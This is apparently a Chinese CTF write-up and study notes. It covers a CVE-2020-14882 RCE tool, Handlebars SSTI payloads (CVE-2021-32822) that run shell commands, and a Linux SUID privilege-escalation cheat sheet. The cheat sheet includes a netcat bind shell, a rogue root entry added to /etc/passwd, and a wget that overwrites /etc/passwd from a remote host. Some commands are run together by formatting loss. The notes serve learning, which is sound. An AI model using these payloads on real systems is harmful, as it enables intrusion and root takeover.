前言
比赛那天体侧==人傻了,后面也没心情做,但是感觉比赛的题都是可以学习的,可惜没想到环境马上就关了–
apacheprOxy
附近是一个docker文件,发现是GKCTF2021的原题(简化版),这里主要学习一下学长的工具试试看
首先使用扫描器扫描链接
| python3 ws.py -t xx.xx.xx.xx
 | 
然后使用工具一键getshell
| python cve-2020-14882_rce.py -u http://127.0.0.1:7001 -c whoami
 | 
eznode
看看能不能本地起一个跑一下看看
配置过程,首先出现了第一个问题:
| 'const' is available in ES6 (use 'esversion: 6') or Mozilla JS extensions (use moz). (W104)
 | 
查到解决方法是:在开头添加一个
然后一直说找不到module,install了很多次,发现需要cd到那个项目目录下去install这些模块
由于前面的登录部分需要麻烦的数据库之类的配置,所以我就直接进入到upload的路由,并删除校验的部分了
查看package.json,一个一个查漏洞(积累下)
| {"name": "app",
 "version": "0.0.0",
 "private": true,
 "scripts": {
 "start": "node ./bin/www",
 "dev": "nodemon index.js -e js"
 },
 "dependencies": {
 "cookie-parser": "~1.4.4",
 "crypto": "^1.0.1",
 "debug": "~2.6.9",
 "express": "~4.16.1",
 "hbs": "^4.0.1",
 "http-errors": "~1.6.3",
 "morgan": "~1.9.1",
 "multer": "^1.4.3",
 "mysql": "^2.18.1",
 "path": "^0.12.7",
 "sequelize": "^6.7.0"
 }
 }
 
 | 
发现hbs的模板渲染有一个CVE-2021-32822
参考文章:
https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#handlebars-nodejs
| {{#with "s" as |string|}}{{#with "e"}}
 {{#with split as |conslist|}}
 {{this.pop}}
 {{this.push (lookup string.sub "constructor")}}
 {{this.pop}}
 {{#with string.split as |codelist|}}
 {{this.pop}}
 {{this.push "return require('child_process').exec('whoami');"}}
 {{this.pop}}
 {{#each conslist}}
 {{#with (string.sub.apply 0 codelist)}}
 {{this}}
 {{/with}}
 {{/each}}
 {{/with}}
 {{/with}}
 {{/with}}
 {{/with}}
 
 | 
| {{#with "s" as |string|}}{{#with "e"}}
 {{#with split as |conslist|}}
 {{this.pop}}
 {{this.push (lookup string.sub "constructor")}}
 {{this.pop}}
 {{#with string.split as |codelist|}}
 {{this.pop}}
 {{this.push "return process.mainModule.require('child_process').execSync('cat /flag').toString();"}}
 {{this.pop}}
 {{#each conslist}}
 {{#with (string.sub.apply 0 codelist)}}
 {{this}}
 {{/with}}
 {{/each}}
 {{/with}}
 {{/with}}
 {{/with}}
 {{/with}}
 
 | 
OldLibrary
这里就记录一下
Linux SUID 提权
关于suid
suid是赋予文件的一种权限
具体叙述可以参考:https://www.cnblogs.com/sparkdev/p/9651622.html
总结来说就是:当一个二进制可执行文件具有suid权限时,尽管不是root用户也可以执行本该root用户才能执行的功能
查找suid权限位文件
下命令可以找到正在系统上运行的所有SUID可执行文件。准确的说,这个命令将从/目录中查找具有SUID权限位且属主为root的文件并输出它们,然后将所有错误重定向到/dev/null,从而仅列出该用户具有访问权限的那些二进制文件。
| find / -user root -perm -4000 -print 2>/dev/nullfind / -perm -u=s -type f 2>/dev/null
 find / -user root -perm -4000 -exec ls -ldb {} ;
 
 | 
也可以使用 sudo -l 命令列出当前用户可执行的命令
常用提权方式
nmap(2.02-5.21)存在交换模式,可利用提权
之后执行:
| nmap> !shsh-3.2# whoami
 root
 
 | 
msf中的模块为:
| exploit/unix/local/setuid_nmap
 | 
较新版可使用 --script 参数:
| echo "os.execute('/bin/sh')" > /tmp/shell.nse && sudo nmap --script=/tmp/shell.nse
 | 
find
| touch testfind test -exec whoami \;
 
 | 
nc 反弹 shell:
| find test -exec netcat -lvp 5555 -e /bin/sh \;
 | 
2.3 vi/vim
打开vim,按下ESC
或者
2.4 bash
| bash -pbash-3.2# id
 uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)
 
 | 
2.5 less
2.6 more
| more /home/pelle/myfile!/bin/bash
 
 | 
2.7 cp
覆盖 /etc/shadow 或 /etc/passwd
| [zabbix@localhost ~]$ cat /etc/passwd >passwd2.[zabbix@localhost ~]$ openssl passwd -1 -salt hack hack123
 3.$1$hack$WTn0dk2QjNeKfl.DHOUue0
 4.[zabbix@localhost ~]$ echo 'hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash' >> passwd
 5.[zabbix@localhost ~]$ cp passwd /etc/passwd
 6.[zabbix@localhost ~]$ su - hack
 7.Password:
 8.[root@361way ~]# id
 9.uid=0(hack) gid=0(root) groups=0(root)
 10.[root@361way ~]# cat /etc/passwd|tail -1
 11.hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash
 
 | 
2.8 mv
覆盖 /etc/shadow 或 /etc/passwd
2.9 nano
2.10 awk
| awk 'BEGIN {system("/bin/sh")}'
 | 
2.11 man
2.12 wget
| wget http://192.168.56.1:8080/passwd -O /etc/passwd
 | 
2.13 apache
仅可查看文件,不能弹 shell:
2.14 tcpdump
| echo $'id\ncat /etc/shadow' > /tmp/.testchmod +x /tmp/.test
 sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root
 
 | 
2.15 python/perl/ruby/lua/php/etc
python
| python -c "import os;os.system('/bin/bash')"
 | 
perl
就测试了一下vi的,发现还挺神奇的
原作者用得是
| find / -perm -u=s -type f 2>/dev/null #查找系统上运行的所有SUID可执行文件comm /flagggisshere /dev/null 2> /dev/null
 
 | 
 
参考:http://www.snowywar.top/?p=2743